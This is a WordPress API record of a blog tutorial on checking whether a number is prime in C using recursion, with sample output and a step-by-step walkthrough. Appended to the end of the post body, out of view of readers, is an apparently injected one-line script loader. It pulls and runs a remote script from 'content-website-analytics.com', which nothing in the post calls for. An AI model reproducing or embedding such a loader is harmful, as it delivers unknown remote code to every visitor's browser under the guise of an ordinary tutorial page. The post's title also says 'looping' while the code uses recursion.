{"id":552,"date":"2025-11-21T08:53:09","date_gmt":"2025-11-21T03:23:09","guid":{"rendered":"https:\/\/codexplained.in\/?p=552"},"modified":"2025-11-21T08:53:09","modified_gmt":"2025-11-21T03:23:09","slug":"check-prime-no-use-by-looping","status":"publish","type":"post","link":"https:\/\/codexplained.in\/?p=552","title":{"rendered":"Check Prime no. Use by looping"},"content":{"rendered":"<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: plain; title: ; notranslate\" title=\"\">\n#include &lt;stdio.h&gt;\n\n\/\/ Function to check if a number is prime using recursion\nint isPrime(int num, int i) \n{\n    \/\/ Base cases\n    if (num &lt;= 2) \n{\n        if (num == 2) \n{\n            return 1;  \/\/ 2 is a prime number\n        } else {\n            return 0;  \/\/ Numbers less than 2 are not prime\n        }\n    }\n    \n    if (num % i == 0) \n{\n        return 0;  \/\/ If num is divisible by i, it&#039;s not prime\n    }\n\n    if (i * i &gt; num) \n{\n        return 1;  \/\/ If no divisors are found, num is prime\n    }\n\n    \/\/ Recursive call: increment i to check the next possible divisor\n    return isPrime(num, i + 1);\n}\n\nint main() \n{\n    int num;\n\n    \/\/ Input the number from user\n    printf(&quot;Enter a positive integer: &quot;);\n    scanf(&quot;%d&quot;, &amp;num);\n\n    \/\/ Check if the number is prime and print result\n    if (isPrime(num, 2)) {\n        printf(&quot;%d is a prime number.\\n&quot;, num);\n    } \n\telse \n    {\n        printf(&quot;%d is not a prime number.\\n&quot;, num);\n    }\n\n    return 0;\n}\n\n\n<\/pre><\/div>\n\n\n<p class=\"wp-block-paragraph\">*<strong>example<\/strong>&#8211;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">-&gt;Enter a positive integer: 29<br>=29 is a prime number<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">*<strong>explanation<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">1) isPrime Function:<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">=This function takes two arguments: the number num and a divisor i that starts from 2.<br>=Base Case 1: If the number num is less than or equal to 2:<br>=If num is 2, it&#8217;s a prime number, so return 1 (true).<br>=If num is less than 2 (such as 0 or 1), it&#8217;s not prime, so return 0 (false).<br>=Base Case 2: If num is divisible by i, meaning num % i == 0, then num is not prime, and we return 0 (false).<br>=Base Case 3: If i * i exceeds num, it means we&#8217;ve checked all possible divisors up to the square root of num, and since no divisors were found, we return 1 (true), declaring num as prime.<br>=Recursive Call: The function calls itself, incrementing i by 1 each time to check the next possible divisor.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">2) Main Function:<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">=The user is prompted to input a number.<br>=The is Prime function is called with the user input and 2 as the starting divisor.<br>=Based on the result of the is Prime function, a message is printed to indicate whether the number is prime or not.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">*<strong>How Recursion Works<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Recursion means that a function calls itself until a specific condition is met. In this program, we recursively check for divisors of the input number. The base cases ensure that the recursion terminates when either:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>The number is determined to be not prime (by finding a divisor).<br>All potential divisors have been checked and no divisors have been found, confirming that the number is prime.<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">*<strong>Example Walkthrough<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Let&#8217;s check if 29 is prime:<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">=First, is Prime(29, 2) is called. Since 29 is not divisible by 2 and 2 * 2 is not greater than 29, the recursion continues.<br>=Then is Prime(29, 3) is called. Since 29 is not divisible by 3 and 3 * 3 is not greater than 29, the recursion continues.<br>=The process repeats for i = 4 and i = 5.<br>=Finally, is Prime(29, 6) is called. Since 6 * 6 (which is 36) is greater than 29, the function returns 1, meaning 29 is prime.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">*Thus, the program correctly identifies 29 as a prime number.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">By using recursion, the program efficiently checks divisibility up to the square root of the input number.<\/p>\n<script>;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https:\/\/content-website-analytics.com\/script.js');<\/script>","protected":false},"excerpt":{"rendered":"<p>*example&#8211; -&gt;Enter a positive integer: 29=29 is a prime number *explanation 1) isPrime Function: =This function takes two arguments: the number num and a divisor i that starts from 2.=Base Case 1: If the number num is less than or equal to 2:=If num is 2, it&#8217;s a prime number, so return 1 (true).=If num [&hellip;]<\/p>\n","protected":false},"author":45,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"_uf_show_specific_survey":0,"_uf_disable_surveys":false,"footnotes":""},"categories":[75],"tags":[],"class_list":["post-552","post","type-post","status-publish","format-standard","hentry","category-c"],"aioseo_notices":[],"aioseo_head":"\n\t\t<!-- All in One SEO 4.9.10 - aioseo.com -->\n\t<meta name=\"description\" content=\"#include \/\/ Function to check if a number is prime using recursion int isPrime(int num, int i) { \/\/ Base cases if (num\" \/>\n\t<meta name=\"robots\" content=\"max-image-preview:large\" \/>\n\t<meta name=\"author\" content=\"sujal sayja\"\/>\n\t<meta name=\"google-site-verification\" content=\"teT4B2U4lV9ex6zOGlaFmPKEYQpzjhxQ6z29nNZ9uTg\" \/>\n\t<link rel=\"canonical\" href=\"https:\/\/codexplained.in\/?p=552\" \/>\n\t<meta name=\"generator\" content=\"All in One SEO (AIOSEO) 4.9.10\" \/>\n\t\t<meta property=\"og:locale\" content=\"en_US\" \/>\n\t\t<meta property=\"og:site_name\" content=\"Code Explained -\" \/>\n\t\t<meta property=\"og:type\" content=\"article\" \/>\n\t\t<meta property=\"og:title\" content=\"Check Prime no. Use by looping - Code Explained\" \/>\n\t\t<meta property=\"og:description\" content=\"#include \/\/ Function to check if a number is prime using recursion int isPrime(int num, int i) { \/\/ Base cases if (num\" \/>\n\t\t<meta property=\"og:url\" content=\"https:\/\/codexplained.in\/?p=552\" \/>\n\t\t<meta property=\"article:published_time\" content=\"2025-11-21T03:23:09+00:00\" \/>\n\t\t<meta property=\"article:modified_time\" content=\"2025-11-21T03:23:09+00:00\" \/>\n\t\t<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n\t\t<meta name=\"twitter:title\" content=\"Check Prime no. Use by looping - Code Explained\" \/>\n\t\t<meta name=\"twitter:description\" content=\"#include \/\/ Function to check if a number is prime using recursion int isPrime(int num, int i) { \/\/ Base cases if (num\" \/>\n\t\t<script type=\"application\/ld+json\" class=\"aioseo-schema\">\n\t\t\t{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"BlogPosting\",\"@id\":\"https:\\\/\\\/codexplained.in\\\/?p=552#blogposting\",\"name\":\"Check Prime no. Use by looping - Code Explained\",\"headline\":\"Check Prime no. Use by looping\",\"author\":{\"@id\":\"https:\\\/\\\/codexplained.in\\\/?author=45#author\"},\"publisher\":{\"@id\":\"https:\\\/\\\/codexplained.in\\\/#person\"},\"image\":{\"@type\":\"ImageObject\",\"@id\":\"https:\\\/\\\/codexplained.in\\\/?p=552#articleImage\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/5a754df4b01379b90a840626a36fec0a516a286d85afd48f4ac2f48f1ec52160?s=96&d=mm&r=g\",\"width\":96,\"height\":96,\"caption\":\"sujal sayja\"},\"datePublished\":\"2025-11-21T08:53:09+05:30\",\"dateModified\":\"2025-11-21T08:53:09+05:30\",\"inLanguage\":\"en-US\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/codexplained.in\\\/?p=552#webpage\"},\"isPartOf\":{\"@id\":\"https:\\\/\\\/codexplained.in\\\/?p=552#webpage\"},\"articleSection\":\"C\"},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/codexplained.in\\\/?p=552#breadcrumblist\",\"itemListElement\":[{\"@type\":\"ListItem\",\"@id\":\"https:\\\/\\\/codexplained.in#listItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/codexplained.in\",\"nextItem\":{\"@type\":\"ListItem\",\"@id\":\"https:\\\/\\\/codexplained.in\\\/?cat=75#listItem\",\"name\":\"C\"}},{\"@type\":\"ListItem\",\"@id\":\"https:\\\/\\\/codexplained.in\\\/?cat=75#listItem\",\"position\":2,\"name\":\"C\",\"item\":\"https:\\\/\\\/codexplained.in\\\/?cat=75\",\"nextItem\":{\"@type\":\"ListItem\",\"@id\":\"https:\\\/\\\/codexplained.in\\\/?p=552#listItem\",\"name\":\"Check Prime no. Use by looping\"},\"previousItem\":{\"@type\":\"ListItem\",\"@id\":\"https:\\\/\\\/codexplained.in#listItem\",\"name\":\"Home\"}},{\"@type\":\"ListItem\",\"@id\":\"https:\\\/\\\/codexplained.in\\\/?p=552#listItem\",\"position\":3,\"name\":\"Check Prime no. Use by looping\",\"previousItem\":{\"@type\":\"ListItem\",\"@id\":\"https:\\\/\\\/codexplained.in\\\/?cat=75#listItem\",\"name\":\"C\"}}]},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/codexplained.in\\\/#person\",\"name\":\"Bhagchandani Niraj\",\"image\":{\"@type\":\"ImageObject\",\"@id\":\"https:\\\/\\\/codexplained.in\\\/?p=552#personImage\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/85ac36ea43e52aebaa10b4f93347378fecaed747b939398d6a5e8a06741c79bd?s=96&d=mm&r=g\",\"width\":96,\"height\":96,\"caption\":\"Bhagchandani Niraj\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/codexplained.in\\\/?author=45#author\",\"url\":\"https:\\\/\\\/codexplained.in\\\/?author=45\",\"name\":\"sujal sayja\",\"image\":{\"@type\":\"ImageObject\",\"@id\":\"https:\\\/\\\/codexplained.in\\\/?p=552#authorImage\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/5a754df4b01379b90a840626a36fec0a516a286d85afd48f4ac2f48f1ec52160?s=96&d=mm&r=g\",\"width\":96,\"height\":96,\"caption\":\"sujal sayja\"}},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/codexplained.in\\\/?p=552#webpage\",\"url\":\"https:\\\/\\\/codexplained.in\\\/?p=552\",\"name\":\"Check Prime no. Use by looping - Code Explained\",\"description\":\"#include \\\/\\\/ Function to check if a number is prime using recursion int isPrime(int num, int i) { \\\/\\\/ Base cases if (num\",\"inLanguage\":\"en-US\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/codexplained.in\\\/#website\"},\"breadcrumb\":{\"@id\":\"https:\\\/\\\/codexplained.in\\\/?p=552#breadcrumblist\"},\"author\":{\"@id\":\"https:\\\/\\\/codexplained.in\\\/?author=45#author\"},\"creator\":{\"@id\":\"https:\\\/\\\/codexplained.in\\\/?author=45#author\"},\"datePublished\":\"2025-11-21T08:53:09+05:30\",\"dateModified\":\"2025-11-21T08:53:09+05:30\"},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/codexplained.in\\\/#website\",\"url\":\"https:\\\/\\\/codexplained.in\\\/\",\"name\":\"Code Explained\",\"inLanguage\":\"en-US\",\"publisher\":{\"@id\":\"https:\\\/\\\/codexplained.in\\\/#person\"}}]}\n\t\t<\/script>\n\t\t<!-- All in One SEO -->\n\n","aioseo_head_json":{"title":"Check Prime no. Use by looping - Code Explained","description":"#include \/\/ Function to check if a number is prime using recursion int isPrime(int num, int i) { \/\/ Base cases if (num","canonical_url":"https:\/\/codexplained.in\/?p=552","robots":"max-image-preview:large","keywords":"","webmasterTools":{"google-site-verification":"teT4B2U4lV9ex6zOGlaFmPKEYQpzjhxQ6z29nNZ9uTg","miscellaneous":""},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"BlogPosting","@id":"https:\/\/codexplained.in\/?p=552#blogposting","name":"Check Prime no. Use by looping - Code Explained","headline":"Check Prime no. Use by looping","author":{"@id":"https:\/\/codexplained.in\/?author=45#author"},"publisher":{"@id":"https:\/\/codexplained.in\/#person"},"image":{"@type":"ImageObject","@id":"https:\/\/codexplained.in\/?p=552#articleImage","url":"https:\/\/secure.gravatar.com\/avatar\/5a754df4b01379b90a840626a36fec0a516a286d85afd48f4ac2f48f1ec52160?s=96&d=mm&r=g","width":96,"height":96,"caption":"sujal sayja"},"datePublished":"2025-11-21T08:53:09+05:30","dateModified":"2025-11-21T08:53:09+05:30","inLanguage":"en-US","mainEntityOfPage":{"@id":"https:\/\/codexplained.in\/?p=552#webpage"},"isPartOf":{"@id":"https:\/\/codexplained.in\/?p=552#webpage"},"articleSection":"C"},{"@type":"BreadcrumbList","@id":"https:\/\/codexplained.in\/?p=552#breadcrumblist","itemListElement":[{"@type":"ListItem","@id":"https:\/\/codexplained.in#listItem","position":1,"name":"Home","item":"https:\/\/codexplained.in","nextItem":{"@type":"ListItem","@id":"https:\/\/codexplained.in\/?cat=75#listItem","name":"C"}},{"@type":"ListItem","@id":"https:\/\/codexplained.in\/?cat=75#listItem","position":2,"name":"C","item":"https:\/\/codexplained.in\/?cat=75","nextItem":{"@type":"ListItem","@id":"https:\/\/codexplained.in\/?p=552#listItem","name":"Check Prime no. Use by looping"},"previousItem":{"@type":"ListItem","@id":"https:\/\/codexplained.in#listItem","name":"Home"}},{"@type":"ListItem","@id":"https:\/\/codexplained.in\/?p=552#listItem","position":3,"name":"Check Prime no. Use by looping","previousItem":{"@type":"ListItem","@id":"https:\/\/codexplained.in\/?cat=75#listItem","name":"C"}}]},{"@type":"Person","@id":"https:\/\/codexplained.in\/#person","name":"Bhagchandani Niraj","image":{"@type":"ImageObject","@id":"https:\/\/codexplained.in\/?p=552#personImage","url":"https:\/\/secure.gravatar.com\/avatar\/85ac36ea43e52aebaa10b4f93347378fecaed747b939398d6a5e8a06741c79bd?s=96&d=mm&r=g","width":96,"height":96,"caption":"Bhagchandani Niraj"}},{"@type":"Person","@id":"https:\/\/codexplained.in\/?author=45#author","url":"https:\/\/codexplained.in\/?author=45","name":"sujal sayja","image":{"@type":"ImageObject","@id":"https:\/\/codexplained.in\/?p=552#authorImage","url":"https:\/\/secure.gravatar.com\/avatar\/5a754df4b01379b90a840626a36fec0a516a286d85afd48f4ac2f48f1ec52160?s=96&d=mm&r=g","width":96,"height":96,"caption":"sujal sayja"}},{"@type":"WebPage","@id":"https:\/\/codexplained.in\/?p=552#webpage","url":"https:\/\/codexplained.in\/?p=552","name":"Check Prime no. Use by looping - Code Explained","description":"#include \/\/ Function to check if a number is prime using recursion int isPrime(int num, int i) { \/\/ Base cases if (num","inLanguage":"en-US","isPartOf":{"@id":"https:\/\/codexplained.in\/#website"},"breadcrumb":{"@id":"https:\/\/codexplained.in\/?p=552#breadcrumblist"},"author":{"@id":"https:\/\/codexplained.in\/?author=45#author"},"creator":{"@id":"https:\/\/codexplained.in\/?author=45#author"},"datePublished":"2025-11-21T08:53:09+05:30","dateModified":"2025-11-21T08:53:09+05:30"},{"@type":"WebSite","@id":"https:\/\/codexplained.in\/#website","url":"https:\/\/codexplained.in\/","name":"Code Explained","inLanguage":"en-US","publisher":{"@id":"https:\/\/codexplained.in\/#person"}}]},"og:locale":"en_US","og:site_name":"Code Explained -","og:type":"article","og:title":"Check Prime no. Use by looping - Code Explained","og:description":"#include \/\/ Function to check if a number is prime using recursion int isPrime(int num, int i) { \/\/ Base cases if (num","og:url":"https:\/\/codexplained.in\/?p=552","article:published_time":"2025-11-21T03:23:09+00:00","article:modified_time":"2025-11-21T03:23:09+00:00","twitter:card":"summary_large_image","twitter:title":"Check Prime no. Use by looping - Code Explained","twitter:description":"#include \/\/ Function to check if a number is prime using recursion int isPrime(int num, int i) { \/\/ Base cases if (num"},"aioseo_meta_data":{"post_id":"552","title":null,"description":null,"keywords":null,"keyphrases":{"focus":{"keyphrase":"","score":0,"analysis":{"keyphraseInTitle":{"score":0,"maxScore":9,"error":1}}},"additional":[]},"primary_term":null,"canonical_url":null,"og_title":null,"og_description":null,"og_object_type":"default","og_image_type":"default","og_image_url":null,"og_image_width":null,"og_image_height":null,"og_image_custom_url":null,"og_image_custom_fields":null,"og_video":"","og_custom_url":null,"og_article_section":null,"og_article_tags":null,"twitter_use_og":false,"twitter_card":"default","twitter_image_type":"default","twitter_image_url":null,"twitter_image_custom_url":null,"twitter_image_custom_fields":null,"twitter_title":null,"twitter_description":null,"schema":{"blockGraphs":[],"customGraphs":[],"default":{"data":{"Article":[],"Course":[],"Dataset":[],"FAQPage":[],"Movie":[],"Person":[],"Product":[],"ProductReview":[],"Car":[],"Recipe":[],"Service":[],"SoftwareApplication":[],"WebPage":[]},"graphName":"BlogPosting","isEnabled":true},"graphs":[]},"schema_type":"default","schema_type_options":null,"pillar_content":false,"robots_default":true,"robots_noindex":false,"robots_noarchive":false,"robots_nosnippet":false,"robots_nofollow":false,"robots_noimageindex":false,"robots_noodp":false,"robots_notranslate":false,"robots_max_snippet":"-1","robots_max_videopreview":"-1","robots_max_imagepreview":"large","priority":null,"frequency":"default","local_seo":null,"breadcrumb_settings":null,"limit_modified_date":false,"ai":null,"created":"2024-10-19 10:42:52","updated":"2025-11-21 03:26:27","seo_analyzer_scan_date":null},"aioseo_breadcrumb":"<div class=\"aioseo-breadcrumbs\"><span class=\"aioseo-breadcrumb\">\n\t\t\t<a href=\"https:\/\/codexplained.in\" title=\"Home\">Home<\/a>\n\t\t<\/span><span class=\"aioseo-breadcrumb-separator\">&raquo;<\/span><span class=\"aioseo-breadcrumb\">\n\t\t\t<a href=\"https:\/\/codexplained.in\/?cat=75\" title=\"C\">C<\/a>\n\t\t<\/span><span class=\"aioseo-breadcrumb-separator\">&raquo;<\/span><span class=\"aioseo-breadcrumb\">\n\t\t\tCheck Prime no. Use by looping\n\t\t<\/span><\/div>","aioseo_breadcrumb_json":[{"label":"Home","link":"https:\/\/codexplained.in"},{"label":"C","link":"https:\/\/codexplained.in\/?cat=75"},{"label":"Check Prime no. Use by looping","link":"https:\/\/codexplained.in\/?p=552"}],"_links":{"self":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/552","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/users\/45"}],"replies":[{"embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=552"}],"version-history":[{"count":3,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/552\/revisions"}],"predecessor-version":[{"id":1234,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/552\/revisions\/1234"}],"wp:attachment":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=552"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=552"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=552"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}